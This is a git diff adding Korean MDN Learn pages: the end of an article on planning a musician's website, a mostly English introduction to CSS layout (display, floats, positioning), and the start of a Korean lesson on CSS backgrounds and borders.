음악과 연관된 다른 5개의 목표가 있습니다. 물론, 이런 목표들을 다룰 수 있는 많은 웹서비스가 있습니다. 그러나, 우리만을 위한 웹사이트를 구축하는 경우에는 이해가 됩니다. 그런 웹사이트는 하나의 공간에 퍼블리싱하고 싶은 모든 항목을 합치는 것과 (목표 3, 5, 6에 적합) 그리고 우리와 대중 사이에 상호작용을 장려하는 것에 (목표 2, 4) 가장 좋은 방법입니다. 다시 말해서, 이런 목표들이 같은 주제를 중심으로 돌기 때문에, 한 곳에 모든 것을 가지는 것이 우리의 목표를 충족하고, 팔로어들과 연결하는 데 도움이 될 것입니다.

+ +

어떻게 웹사이트가 나의 목표를 달성하는 데 도움이 될까요? 그것에 답함으로써, 우리는 우리의 목표를 달성하는 데 가장 좋은 방법을 찾을 것이고, 노력이 낭비되지 않도록 할 것입니다.

+ +

내 목표를 달성하기 위해, 무엇을, 어떤 순서로 해야할까?

+ +

이제 우리가 달성하고 싶은 것을 알고 있으므로, 그 목표들을 실행가능한 단계로 바꿀 시간입니다.

+ +

긴 설명을 하기 보다는 이 표로 우리의 예제를 돌아봅시다:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
목표해야할 것
사람들이 당신의 음악을 듣게 하기 +
    +
  1. 음악을 녹음한다.
  2. +
  3. 온라인에서 사용할 수 있는 몇몇의 오디오 파일을 준비힌다. (기존의 웹서비스로 이것을 할 수 있을까?)
  4. +
  5. 사람들에게 당신의 웹사이트의 일부에서 당신의 음악에 접근하게 한다.
  6. +
+
음악에 대해 이야기하기 +
    +
  1. 토의를 시작하기 위한 몇몇의 글을 쓴다.
  2. +
  3. 어떻게 글이 보여야 하는 지 정해라.
  4. +
  5. 웹사이트에 이 글을 게시해라 (어떻게 이것을 할까?)
  6. +
+
다른 음악가들 만나기 +
    +
  1. 사람들이 너와 연락할 방법을 제공해라.
  2. +
  3. 너의 웹사이트에서 어떻게 사람들이 연락 채널을 찾을 지 정해라.
  4. +
+
goodies 팔기 +
    +
  1. goodies 만든다.
  2. +
  3. goodies 저장한다.
  4. +
  5. 쇼핑을 하는 방식 찾는다.
  6. +
  7. 결제 방식 찾는다.
  8. +
  9. 사이트에서 사람들의 주문 메카니즘 만든다.
  10. +
+
동영상을 통해 음악 가르치기 +
    +
  1. 동영상 강의 녹화한다.
  2. +
  3. 온라인에서 볼 수 있는 동영상 파일 준비한다. (다시, 기존의 웹사이트에서 할 수 있을까?)
  4. +
  5. 웹사이트의 한 부분에서 비디오 접근 가능하게 한다.
  6. +
+
+ +

공지할 것이 두 개가 있다. 첫째, 이런 아이템 중 몇몇은 웹과 상관이 없다. (예를 들어, 음악 녹음, 글 쓰기) 종종 그런 오프라인 활동이 프로젝트의 웹 부분보다 훨씬 더 중요하다. 예를 들어, 판매의 경우에, 공급, 결제, 배달에 시간을 쓰는 것이 사람들이 주문할 수 있는 웹사이트를 만드는 것보다 훨씬 더 중요하다.

+ +

둘째, 실행가능한 단계를 설정하는 것은 우리가 답할 필요가 있는 새로운 질문을 이끌어 낸다. 종종 우리가 본래 생각했던 것보다 더 많은 질문으로 변한다. (예를 들어, 내가 혼자서 어떻게 이것을 배워야할까? 누군가에게 이것을 부탁할까? 서드파티(제 3의) 서비스를 사용해야할까?)

+ +

결론

+ +

당신이 본 것 처럼, "나는 웹사이트를 만들고 싶다" 라는 단순한 생각이 긴 해야할 목록을 만들었다. 그리고 그것은 생각하면 할 수록 더 길어진다. 금방 그것은 압도적으로 보일 것이다. 그러나 겁먹지 마라. 당신은 모든 질문에 대답할 필요는 없다. 그리고 당신은 리스트에 모든 것을 할 필요는 없다. 중요한 것은 원하는 것과 도달하는 법에 대한 비전을 가지고 있어야하는 것이다. 일단 분명한 비전이 있다면, 당신은 해야할 때와 하는 방법을 결정할 필요가 있다. 큰 일을 작은 실행할 수 있는 단계로 부숴라. 그리고 그 작은 단계를 거대한 성과로 합쳐라.

+ +

이 글에서, 당신은 웹사이트를 만들기 위한 개략적인 계획을 지금 세울 수 있어야 한다. 다음 단계는 how the Internet works(인터넷이 작동하는 법) 을 읽어야 할 것이다.

+ +

 

diff --git a/files/ko/learn/css/basics/layout/index.html b/files/ko/learn/css/basics/layout/index.html new file mode 100644 index 0000000000..50cfb20039 --- /dev/null +++ b/files/ko/learn/css/basics/layout/index.html @@ -0,0 +1,408 @@ +--- +title: Introduction to CSS Layout +slug: Learn/CSS/Basics/Layout +translation_of: Learn/CSS/CSS_layout/Introduction +--- +

{{PreviousNext("Learn/CSS/Basics/Box_model","Learn/CSS/Howto/style_text")}}

+ +

CSS layout is the art of using various CSS properties to alter the positioning of elements on a document in order to fit the design requirements. CSS provides many layout mechanisms, the more advanced and modern techniques are so complex that they get their own articles. In this article, we will introduce the basic techniques that have been used for years.

+ +

To properly layout a document with CSS, there are a few notions that one must know. The most important of these is {{Glossary("HTML")}} text flow. We will cover it in this article. Articles about other layout mechanisms will, at some point or the other, refer back to what we are discussing here.

+ +

The flow

+ +

At its most basic level an HTML document is a text document structured with {{Glossary("tag","tags")}}. In such a document, the text flows. That means text is displayed in the reading direction (from left to right, for example, in Latin based languages like English or French) and is broken automatically - creating new lines - each time the text reaches an edge of the document.

+ +

+ +

+ +

Each {{Glossary("element","elements")}} in the document alters the flow of text in various ways:

+ + + +

디스플레이 요소 (Elements display categories)

+ +

CSS is used to define how an HTML element behaves within the flow and how it get in and out of that flow. The element behavior is defined using the property {{cssxref('display')}}. This property can take tons of values but let's focus on the four most important:

+ +
+
none
+
모든 요소를 제거 합니다.
+
inline
+
줄을 바꾸지 않고, 해당 위치에서 다른 요소들과 같은 선상에 위치하려는 성질을 말합니다. 
+
block
+
This value is for the element to break the text flow with a forced line break before and after it. Its content is no longer part of the global text flow and flows only within the constraints provided by the element box model.
+
inline-block
+
This value makes the element somewhat in between inline and block type display: like inline boxes it flows with the text normally but, like block boxes, it's content is no longer part of the global text.
+
+ +

Let's see an example.

+ +

HTML:

+ +
<p class="none">
+  1. I'm a big black cat,
+  <span>walking under a ladder,</span>
+  and I can see broken mirrors everywhere.
+</p>
+
+<p class="inline">
+  2. I'm a big black cat,
+  <span>walking under a ladder,</span>
+  and I can see broken mirrors everywhere.
+</p>
+
+<p class="block">
+  3. I'm a big black cat,
+  <span>walking under a ladder,</span>
+  and I can see broken mirrors everywhere.
+</p>
+
+<p class="inline-block">
+  4. I'm a big black cat,
+  <span>walking under a ladder,</span>
+  and I can see broken mirrors everywhere.
+</p>
+
+ +

CSS:

+ +
span {
+  width: 5em;
+  background: yellow;
+}
+
+.none span         { display: none;         }
+.inline span       { display: inline;       }
+.block span        { display: block;        }
+.inline-block span { display: inline-block; }
+ +

Results:

+ +

{{EmbedLiveSample('Elements_display_categories', '100%', '300px')}}

+ +

Altering the flow

+ +

By setting the display property you're already altering the flow, but you can go further.

+ +

Text layout

+ +

While an HTML document is nothing more than a long text flow, CSS provides many properties to deal with simple text layout. The text layout is everything that allows changing the text line breaking rules and the way the text is positioned over the natural text line.

+ +

Those properties are: {{cssxref("hyphens")}}, {{cssxref("text-align")}}, {{cssxref("text-align-last")}}, {{cssxref("text-indent")}}, {{cssxref("vertical-align")}}, {{cssxref("white-space")}}, {{cssxref("word-break")}}, and {{cssxref("word-wrap")}}.

+ +

Except for text-align andtext-indent the other properties have subtle effects on the text and vertical-align is often used with inline-block boxes.

+ +

An example will make things clearer.

+ +

HTML:

+ +
<p lang="en">WHEN Scrooge awoke, it was so dark, that looking out of bed, he could scarcely distinguish the transparent window from the opaque walls of his chamber. He was endeavouring to pierce the darkness with his ferret eyes, when the chimes of a neighbouring church struck the four quarters. So he listened for the hour. To his great astonishment the heavy bell went on from six to seven, and from seven to eight, and regularly up to twelve; then stopped. Twelve! It was past two when he went to bed. The clock was wrong. An icicle must have got into the works. Twelve! He touched the spring of his repeater, to correct this most preposterous clock. Its rapid little pulse beat twelve: and stopped.</p>
+<p class="format" lang="en">WHEN Scrooge awoke, it was so dark, that looking out of bed, he could scarcely distinguish the transparent window from the opaque walls of his chamber. He was endeavouring to pierce the darkness with his ferret eyes, when the chimes of a neighbouring church struck the four quarters. So he listened for the hour. To his great astonishment the heavy bell went on from six to seven, and from seven to eight, and regularly up to twelve; then stopped. Twelve! It was past two when he went to bed. The clock was wrong. An icicle must have got into the works. Twelve! He touched the spring of his repeater, to correct this most preposterous clock. Its rapid little pulse beat twelve: and stopped.</p>
+
+ +

CSS:

+ +
.format {
+  /* The first line is "pull" to a 2em distance */
+  text-indent: -2em;
+
+  /* We need to compensate the negative indent
+     to avoid unwanted text clipping and keep
+     the whole text within the boundary of its
+     element box */
+  padding-left: 2em;
+
+  /* The text is aligned on both edges, adjusting
+     spacing between words as necessary */
+  text-align: justify;
+
+  /* The last line of the block of text is centered */
+  -moz-text-align-last: center;
+       text-align-last: center;
+
+  /* Rather than line break between two words the line
+     break can occur inside words, according to the rules
+     defined for the text language. This makes nice word cut
+     with a clear hyphen dash. If you don care about word
+     breaking rules, you could just use word-break or
+     word-wrap instead  */
+  -webkit-hyphens: auto;
+     -moz-hyphens: auto;
+      -ms-hyphens: auto;
+          hyphens: auto;
+}
+ +
+

As you might notice, some properties are written multiple times with some prefix. This is because those prefixed properties are still experimental for some browsers and it is considered best practice to use them all with the standard property at the end of the list in order to provide the best backward compatibility possible.

+
+ +

Results:

+ +

{{ EmbedLiveSample('Text_layout', '100%', '350') }}

+ +
+

It's worth noting that the trick we used to compensate the negative text indentation is a very common trick. Any property that accepts a length also accepts negative values. By fiddling with negative values and compensating them with other properties,  it's possible to produce very clever effects on the layout, especially when it applies to properties of the box model.

+
+ +

Floating

+ +

Okay, handling text is nice, but at some point what we really want is to move boxes around the document. The first way to handle that is to deal with floating boxes. Floating boxes are still attached to the global text flow,  but the text will flow around. Sounds weird, so let's see an example.

+ +

Simple floating

+ +

HTML:

+ +
<div>
+  <p class="excerpt">"Why, it isn't possible," said Scrooge, "that I can have slept through a whole day and far into another night. It isn't possible that anything has happened to the sun, and this is twelve at noon!" </p>
+  <p> The idea being an alarming one, he scrambled out of bed, and groped his way to the window. He was obliged to rub the frost off with the sleeve of his dressing-gown before he could see anything; and could see very little then. All he could make out was, that it was still very foggy and extremely cold, and that there was no noise of people running to and fro, and making a great stir, as there unquestionably would have been if night had beaten off bright day, and taken possession of the world. This was a great relief, because "three days after sight of this First of Exchange pay to Mr. Ebenezer Scrooge or his order," and so forth, would have become a mere United States' security if there were no days to count by.</p>
+</div>
+ +

CSS:

+ +
.excerpt {
+  /* A floating box will act like a block whatever
+     the value of display we are using */
+  display: block;
+
+  /* Our box is floating to the left, which means
+     it will stack on the left side of the containing
+     block and the text will flow on its right side. */
+  float: left;
+
+  /* It is required to set a width to a floating box.
+     If we don't its width will be set
+     automatically, which means that it will grow as much
+     as possible and nothing will flow around it, like an
+     ordinary block box */
+  width: 40%;
+
+  /* We set some margins on the right and bottom side of
+     the box to avoid having the text flowing around being
+     in direct visual contact of our floating box */
+  margin: 0 1em 1em 0;
+
+  /* We make our floating box more visible with
+     a simple background color */
+  background: lightgrey;
+
+  /* As we have a solid background color it's a nice idea
+     to push the content a little bit away from the edges
+     of the box */
+  padding: 1em;
+}
+ +

Results:

+ +

{{ EmbedLiveSample('Simple_floating', '100%', '280') }}

+ +

Layout with floating

+ +

This is a very simple effect to start tweaking the flow to our wishes. Now it's possible to do better and start performing some true layout. A floating box that floats in a given direction stacks horizontally, it's a very convenient way to create rows of boxes instead of natural columns: In the flow, block boxes stack in columns and floating boxes stack in rows.

+ +

Once again, an example will make things clearer.

+ +

HTML:

+ +
<div class="layout">
+  <div class="row">
+    <p class="cell size50">Scrooge went to bed again, and thought, and thought, and thought it over and over and over, and could make nothing of it. The more he thought, the more perplexed he was; and the more he endeavoured not to think, the more he thought.</p>
+    <p class="cell size50">Marley's Ghost bothered him exceedingly. Every time he resolved within himself, after mature inquiry, that it was all a dream, his mind flew back again, like a strong spring released, to its first position, and presented the same problem to be worked all through, "Was it a dream or not?"</p>
+  </div>
+  <div class="row">
+    <p class="cell size100">Scrooge lay in this state until the chime had gone three quarters more, when he remembered, on a sudden, that the Ghost had warned him of a visitation when the bell tolled one. He resolved to lie awake until the hour was passed; and, considering that he could no more go to sleep than go to Heaven, this was perhaps the wisest resolution in his power.</p>
+  </div>
+  <div class="row">
+    <p class="cell size33">The quarter was so long, that he was more than once convinced he must have sunk into a doze unconsciously, and missed the clock. At length it broke upon his listening ear.</p>
+    <p class="cell size33">
+      "Ding, dong!"<br>
+      "A quarter past," said Scrooge, counting.<br>
+      "Ding, dong!"<br>
+      "Half-past!" said Scrooge.<br>
+      "Ding, dong!"<br>
+      "A quarter to it," said Scrooge.<br>
+      "Ding, dong!"<br>
+      "The hour itself," said Scrooge, triumphantly, "and nothing else!"
+    </p>
+    <p class="cell size33">
+      He spoke before the hour bell sounded, which it now did with a deep, dull, hollow, melancholy ONE. Light flashed up in the room upon the instant, and the curtains of his bed were drawn.
+    </p>
+  </div>
+</div>
+ +

CSS:

+ +
/* This is our main layout container */
+.layout {
+  /* A background makes it visible */
+  background: lightgrey;
+
+  /* We add a small visual spacing to harmonize
+     the distance between the cells content and
+     and the layout border */
+  padding   : 0.5em;
+}
+
+/* A floating box gets somewhat out of
+   the flow, so if their container is empty
+   it will have a zero height size and the
+   floating box will overflow it. To
+   avoid such a situation, we make sure floating
+   boxes are not allowed to overflow. In
+   that specific context, with an overflow
+   hidden, floating boxes won't be clipped,
+   the parent box will extend to avoid any
+   floating box overflow.  */
+.row {
+  overflow: hidden;
+}
+
+/* Each cell is a left floating box */
+.cell {
+  float : left;
+
+  /* we add padding to our cell to create
+     some nice visual gutters between them */
+  padding   : 0.5em;
+
+  /* Because we are adding padding, we need
+     to be sure that it will not impact
+     the box width. */
+  box-sizing: border-box;
+
+  /* As margins cannot be controlled with the
+     box-sizing property, we need to be sure
+     there is none applied to our cell. */
+  margin    : 0;
+}
+
+/* Those are the sizes we can apply to our boxes */
+.size33  { width:  33%; } /* Not exactly a third, but good enough */
+.size50  { width:  50%; } /* A half */
+.size100 { width: 100%; } /* A full row */
+ +

Results:

+ +

{{ EmbedLiveSample('Layout_with_floating', '100%', '520') }}

+ +

Using floating boxes this way, is what many CSS frameworks do. It's a robust and well-known technique but it has limits as everything must go with the flow: it's not possible to handle boxes in arbitrary order, variable sizing can be quite tricky to achieve, and vertical centering is impossible. We encourage you to dig deeper as floating boxes has been studied for long and they are among the most robust solutions for a simple layout that must be compatible with legacy browsers.

+ +

If you want to better understand all the subtleties of floating boxes, we encourage you to read All about float by Chris Coyer.

+ +

Positioning

+ +

If floating boxes are still part of the flow, another mechanism exists to perform some layouts by extracting boxes out of the flow: CSS Positioning. Positioning is acheived by defining a positioning context with the {{cssxref("position")}} property and then allows boxes to be positioned using {{cssxref("top")}}, {{cssxref("left")}}, {{cssxref("right")}}, and {{cssxref("bottom")}} properties.

+ +

The {{cssxref("position")}} property can take on four different values:

+ +
+
static
+
This is the default value for all elements: they are part of the flow and don't define any specific positioning context.
+
relative
+
With this value, elements are still part of the flow, but they can be visually moved around their positions with {{cssxref("top")}}, {{cssxref("left")}}, {{cssxref("right")}}, and {{cssxref("bottom")}}. They also define a positioning context for their children elements.
+
absolute
+
With this value, elements are pushed out of the flow and no longer influence it. The position of such blocks is defined by the {{cssxref("top")}}, {{cssxref("left")}}, {{cssxref("right")}}, and {{cssxref("bottom")}} properties. The 0,0 position point for the top/left corner of the box is the top/left corner of the closest parent element which defines a positionning context other than static. If there is no parent with a positioning context, then, the 0,0 position point for the top/left corner of the box is the top/left corner of the document.
+
fixed
+
With this value, elements are pushed out of the flow and no longer influence it. The position of such blocks is define by the {{cssxref("top")}}, {{cssxref("left")}}, {{cssxref("right")}}, and {{cssxref("bottom")}} properties. The 0,0 position point for the top/left corner of the box is the top/left corner of the browser window {{Glossary("viewport")}}.
+
+ +

Such positioned boxes can stack on top of each other. In that case, it's possible to change the stacking order by using the {{cssxref("z-index")}} property.

+ +

Okay, let's see an example to visualize it at work.

+ +

HTML:

+ +
<div class="relative">
+    <div class="absolute-one">
+        <p>Position:absolute</p></br>
+        <p>Top Right</p>
+    </div>
+
+    <div class="absolute-two">
+        <p>Position:absolute</p></br>
+        <p>Bottom Centre</p>
+    </div>
+
+    <div class="absolute-three">
+        <p>Position:static</p></br>
+        <p>Where it falls</p>
+    </div>
+</div>
+ +

CSS:

+ +
p {
+  text-align:  centre;
+  color: #fff;
+}
+
+
+/* Setting the position to relative
+allows any child elements to be positioned
+anywhere, in relation to its container. */
+
+.relative {
+  position: relative;
+  width: 95%;
+  margin: 0 auto;
+  height: 300px;
+  background-color: #fff;
+  border: 3px solid #ADD8E6;
+}
+
+/* Just some styles for text alignment /*
+.relative div {
+  text-align: center;
+  padding: 5px;
+  display: block;
+  width: 125px;
+  height: 125px;
+  background-color: #ADD8E6;
+}
+
+/* By setting this div to position absolute
+we can position this element anywhere in relation
+to the 'relative' div /*
+.absolute-one {
+   position: absolute;
+   top: 0;
+   right: 0;
+}
+
+/* Unlike the first div which was positioned at the
+top right corner of the container div. '.absolute-two'
+is positioned bottom centre. By setting both left and right
+to 0, along with margin:auto.
+.absolute-two {
+   position: absolute;
+   bottom: 0;
+   right: 0;
+   left: 0;
+   margin: auto;
+}
+
+/* Where the div would fall naturally within it's container.
+This is also useful for returning elements from a floated
+position. E.g. on responsive styles. /*
+.absolute-three {
+   position: static;
+}
+
+ +

Results:

+ +

{{ EmbedLiveSample('Positioning', '100%', '400') }}

+ +

If CSS positioning isn't really used for full layout, it is used quite often to deal with trick UX effect such as navigation layout, tooltip and such. This is something you'll see on a regular basis so we encourage you to get into it. Among various resources about it, we suggest you take a look at the article CSS positioning 101 by Noah Stokes.

+ +

What's next

+ +

The flow, the floating boxes,  and CSS positioning are the basic CSS knowledge that will drive you into CSS layout. Now you are ready to use CSS to its full potential! You should now take some time looking at practical usage of CSS. If you want to dig even deeper into layouts, you should definitely take a look at the other layout mechanism that exists with CSS: Table display, multiple columns layout, and flexible box layout.

+ +

{{PreviousNext("Learn/CSS/Basics/Box_model","Learn/CSS/Howto/style_text")}}

+ +
 
diff --git a/files/ko/learn/css/building_blocks/backgrounds_and_borders/index.html b/files/ko/learn/css/building_blocks/backgrounds_and_borders/index.html new file mode 100644 index 0000000000..a5e2983ea7 --- /dev/null +++ b/files/ko/learn/css/building_blocks/backgrounds_and_borders/index.html @@ -0,0 +1,318 @@ +--- +title: 배경 및 테두리 +slug: Learn/CSS/Building_blocks/Backgrounds_and_borders +translation_of: Learn/CSS/Building_blocks/Backgrounds_and_borders +--- +
{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/The_box_model", "Learn/CSS/Building_blocks/Handling_different_text_directions", "Learn/CSS/Building_blocks")}}
+ +

이번 수업에서는 CSS 배경과 테두리로 할 수 있는 창의적인 작업을 살펴보겠습니다. 그라데이션 (gradients), 배경 이미지, 둥근 테두리를 추가하는 것에서 배경과 테두리는 CSS 의 많은 스타일 질문에 대한 답입니다.

+ + + + + + + + + + + + +
전제조건:기본 컴퓨터 활용 능력, 기본 소프트웨어 설치파일 작업 에 대한 기본 지식,  HTML 기본 사항 (HTML 소개 학습) 및 , CSS 작동 방식 이해 (CSS 첫 번째 단계 학습)
목적:박스의 배경과 테두리 스타일을 지정하는 방법 배우기.
+ +

CSS 의 스타일링 배경

+ +

CSS {{cssxref("background")}} 속성은 이 수업에서 만나게 될 많은 background longhand 속성의 줄임말 입니다. 스타일 시트에서 복잡한 배경 속성을 발견하면, 한 번에 많은 값을 전달할 수 있으므로 이해하기 어려울 수 있습니다.

+ +
.box {
+  background: linear-gradient(105deg, rgba(255,255,255,.2) 39%, rgba(51,56,57,1) 96%) center center / 400px 200px no-repeat,
+  url(big-star.png) center no-repeat, rebeccapurple;
+} 
+
+ +

이 자습서의 뒷부분에서 속기 (shorthand) 작동 방식으로 돌아가지만, 먼저 개별 배경 속성을 보고, CSS 에서 배경으로 수행할 수 있는 다양한 작업을 살펴보겠습니다.

+ +

배경 색상

+ +

{{cssxref("background-color")}} 속성은 CSS 의 모든 요소에 대한 배경색을 정의합니다. 이 속성은 유효한 <color>  를 허용합니다. background-color 는 요소의 내용 및 패딩 박스 아래로 확장됩니다.

+ +

아래 예에서는 다양한 색상 값을 사용하여 박스, 제목 및 {{htmlelement("span")}} 요소에 배경색을 추가했습니다.

+ +

사용 가능한 <color> 값을 사용하여, 이것들을 가지고 놀아보십시오.

+ +

{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/color.html", '100%', 800)}}

+ +

배경 이미지

+ +

{{cssxref("background-image")}} 속성을 사용하면 요소의 배경에 이미지를 표시할 수 있습니다. 아래 예에는 두 개의 박스가 있습니다 — 하나는 박스보다 큰 배경 이미지이고 다른 하나는 별 모양의 작은 이미지 입니다.

+ +

이 예제는 배경 이미지에 대한 두 가지를 보여줍니다. 기본적으로 큰 이미지는 박스에 맞게 축소되지 않으므로 작은 이미지만 표시되는 반면, 작은 이미지는 박스를 채우기 위해 바둑판 식으로 배열됩니다. 이 경우 실제 이미지는 단일 별 입니다.

+ +

{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/background-image.html", '100%', 800)}}

+ +

배경 이미지 외에 배경색을 지정하면 이미지가 색상 위에 표시됩니다. 위 예제에 background-color 속성을 추가하여 실제 상태를 확인하십시오.

+ +

배경 이미지 반복 제어

+ +

{{cssxref("background-repeat")}} 속성은 이미지의 타일링 동작을 제어하는 데 사용됩니다. 사용 가능한 값은 다음과 같습니다:

+ + + +

아래 예에서 이러한 값을 사용해 보십시오. 값이 no-repeat 로 설정되어 별 하나만 표시됩니다. 다른 값 — repeat-x 및 repeat-y — 를 사용하여 그 효과가 무엇인지 확인하십시오.

+ +

{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/repeat.html", '100%', 800)}}

+ +

배경 이미지 크기 조정

+ +

위의 예에서 배경의 요소보다 커서, 이미지가 크게 잘립니다. 이 경우 길이 나 백분율 값을 취할 수 있는 {{cssxref("background-size")}} 속성을 사용하여 이미지 크기를 배경 안에 맞출 수 있습니다.

+ +

키워드를 사용할 수도 있습니다:

+ + + +

아래 예제에서는 위 예제의 큰 이미지를 사용했으며, 박스 안에 길이 단위를 사용하여 크기를 조정했습니다. 이미지가 왜곡된 것을 볼 수 있습니다.

+ +

다음을 시도해 보십시오.

+ + + +

{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/size.html", '100%', 800)}}

+ +

배경 이미지 배치

+ +

{{cssxref("background-position")}} 속성을 사용하면 적용되는 박스에서 배경 이미지가 나타나는 위치를 선택할 수 있습니다. 박스의 왼쪽 상단 모서리가 (0,0)  이고, 박스가 가로 (x) 및 세로 (y) 축을 따라 위치하는 좌표계를 사용합니다.

+ +
+

참고: background-position 의 기본값은 (0,0) 입니다.

+
+ +

가장 일반적인 background-position 값은 — 수평 값과 수직 값의 두 가지 개별 값을 갖습니다.

+ +

top 및 right ({{cssxref("background-image")}} 페이지에서 다른 키워드를 찾으십시오) 와 같은 키워드를 사용 할 수 있습니다:

+ +
.box {
+  background-image: url(star.png);
+  background-repeat: no-repeat;
+  background-position: top center;
+} 
+
+ +

그리고 길이 및 백분율:

+ +
.box {
+  background-image: url(star.png);
+  background-repeat: no-repeat;
+  background-position: 20px 10%;
+} 
+
+ +

키워드 값을 길이 또는 백분율과 혼합할 수도 있습니다. 예를 들면:

+ +
.box {
+  background-image: url(star.png);
+  background-repeat: no-repeat;
+  background-position: top 20px;
+}
+ +

마지막으로, 박스의 특정 모서리로 부터의 거리를 나타내기 위해 4 값 구문을 사용할 수도 있습니다 — 이 경우 길이 단위는 앞에 오는 값과의 offset 입니다. 아래 CSS 에서 우리는 배경을 위쪽에서 20px, 오른쪽에서 10px 로 배치합니다:

+ +
.box {
+  background-image: url(star.png);
+  background-repeat: no-repeat;
+  background-position: top 20px right 10px;
+} 
+ +

아래 예제를 사용하여 이러한 값을 가지고 실습하면서 박스 안에서 별을 움직이십시오.

+ +

{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/position.html", '100%', 800)}}

+ +
+

참고: background-position 은 {{cssxref("background-position-x")}} 및 {{cssxref("background-position-y")}} 의 줄임말로, 다른 축 위치 값을 개별적으로 설정할 수 있습니다.

+
+ +

그라데이션 (Gradient) 배경

+ +

배경에 사용될 때 — Gradient — 는 이미지 처럼 작동하며 {{cssxref("background-image")}} 속성을 사용하여 설정 됩니다.

+ +

<gradient> 데이터 유형에 대한 MDN 페이지에서 다양한 유형의 그라디언트 및 그라디언트로 수행 할 수 있는 작업에 대한 자세한 내용을 읽을 수 있습니다. 그라디언트를 재생하는 재미있는 방법은 웹에서 사용할 수 있는 많은 CSS 그라디언트 생성기 중 하나 를 사용하는 것입니다. 그라디언트를 생성한 다음 이를 생성하는 소스 코드를 복사하여 붙여 넣을 수 있습니다.

+ +

아래 예제에서 다른 그라디언트를 사용해 보십시오. 두 개의 박스에는 각각 전체 박스에 걸쳐 펼쳐지는 선형 그라디언트와 설정된 크기의 방사형 그라디언트가 있습니다. 따라서 반복됩니다.

+ +

{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/gradients.html", '100%', 800)}}

+ +

여러 배경 이미지

+ +

여러 개의 배경 이미지를 가질 수도 있습니다  — 하나의 속성 값으로 여러 개의 background-image 값을 지정하고, 각 이미지를 쉼표로 구분합니다.

+ +

이렇게 하면 배경 이미지가 서로 겹칠 수 있습니다. 배경은 stack 맨 아래에 마지막으로 나열된 배경 이미지와 함께 쌓이고, 코드에서 그 뒤에 오는 이미지 위에 각각의 이전 이미지가 쌓입니다.

+ +
+

참고: 그라디언트는 일반 배경 이미지와 혼합될 수 있습니다.

+
+ +

다른 background-* 속성은 background-image 와 같은 방식으로 쉼표로 구분된 값을 가질 수도 있습니다:

+ +
background-image: url(image1.png), url(image2.png), url(image3.png), url(image1.png);
+background-repeat: no-repeat, repeat-x, repeat;
+background-position: 10px 20px,  top right;
+ +

다른 속성의 각 값은 다른 속성의 같은 위치에 있는 값과 일치합니다. 예를 들어, image1 의 background-repeat 값은 no-repeat 입니다. 그러나, 다른 속성의 값이 다른 경우 어떻게 됩니까? 답은 더 적은 수의 값이 순환한다는 것입니다 — 위의 예에서는 4 개의 배경 이미지가 있지만 2 개의 background-position 값만 있습니다. 처음 두 위치 값은 처음 두 이미지에 적용되고 다시 순환됩니다 — image3 에는 첫 번째 위치값이 제공되고, image4 에는 두 번째 위치값이 제공됩니다.

+ +

해봅시다. 아래 예에서는 두 개의 이미지를 포함했습니다. 쌓인 순서를 설명하려면, 목록에서 어떤 배경 이미지가 먼저 나오는지 전환해 보십시오. 또는 다른 속성을 사용하여 위치, 크기 또는 반복 값을 변경하십시오.

+ +

{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/multiple-background-image.html", '100%', 800)}}

+ +

배경 첨부 (attachment)

+ +

배경에 사용할 수 있는 또 다른 옵션은 내용이 스크롤될 때 스크롤하는 방법을 지정하는 것입니다. 이는 {{cssxref("background-attachment")}} 속성을 사용하여 제어되며, 다음 값을 사용할 수 있습니다:

+ + + +

{{cssxref("background-attachment")}} 속성은 스크롤할 내용이 있을 때만 영향을 미치므로, 세 가지 값의 차이점을 보여주는 데모를 만들었습니다  — background-attachment.html 을 살펴보십시오 (여기에서 소스 코드 를 참조하십시오).

+ +

배경 속기 (shorthand) 속성 사용

+ +

이 수업 시작 부분에서 언급했듯이, {{cssxref("background")}} 속성을 사용하여 지정된 배경을 자주 볼 수 있습니다. 이 속기 기능을 사용하면 모든 다른 속성을 한 번에 설정할 수 있습니다.

+ +

여러 배경을 사용하는 경우, 첫 번째 배경에 대한 모든 속성을 지정한 다음, 쉼표 뒤에 다음 배경을 추가해야 합니다. 아래 예에서는 크기와 위치가 있는 그라디언트, no-repeat 및 이미지 위치가 있는 이미지 배경, 색상이 있습니다.

+ +

배경 이미지 속기 값을 쓸 때 따라야 할 몇 가지 규칙이 있습니다. 예를 들면:

+ + + +

모든 고려 사항을 보려면  MDN 페이지의 {{cssxref("background")}} 를 살펴보십시오.

+ +

{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/background.html", '100%', 800)}}

+ +

배경이 있는 접근성 고려 사항

+ +

배경 이미지나 색상 위에 텍스트를 배치 할 때, 방문자가 텍스트를 읽을 수 있도록 contrast 를 충분히 유지해야 합니다. 이미지를 지정하고 해당 이미지 위에 텍스트를 배치하는 경우, 이미지가 로드되지 않은 경우 텍스트를 읽을 수 있는 background-color 도 지정해야 합니다.

+ +

화면 판독기는 배경 이미지를 구문 분석할 수 없으므로 순전히 장식이어야 합니다. 중요한 내용은 HTML 페이지의 일부여야 하며, 배경에 포함되지 않아야 합니다.

+ +

테두리

+ +

박스 모델에 대해 알아볼 때, 테두리가 박스 크기에 어떤 영향을 미치는지 알아 냈습니다. 이 수업에서는 테두리를 창의적으로 사용하는 방법을 살펴봅니다. 일반적으로 CSS 를 사용하여 요소에 테두리를 추가할 때는, CSS 의 한 라인에 테두리의 색상, 너비 및 스타일을 설정하는 속기 속성을 사용합니다.

+ +

{{cssxref("border")}} 를 사용하여 박스의 네 면 모두에 테두리를 설정할 수 있습니다:

+ +
.box {
+  border: 1px solid black;
+} 
+ +

또는 박스의 한쪽 가장자리를 대상으로 지정할 수 있습니다. 예를 들면:

+ +
.box {
+  border-top: 1px solid black;
+} 
+ +

이러한 속기의 개별 속성은 다음과 같습니다:

+ +
.box {
+  border-width: 1px;
+  border-style: solid;
+  border-color: black;
+} 
+ +

그리고 longhands 는 다음과 같습니다:

+ +
.box {
+  border-top-width: 1px;
+  border-top-style: solid;
+  border-top-color: black;
+} 
+ +
+

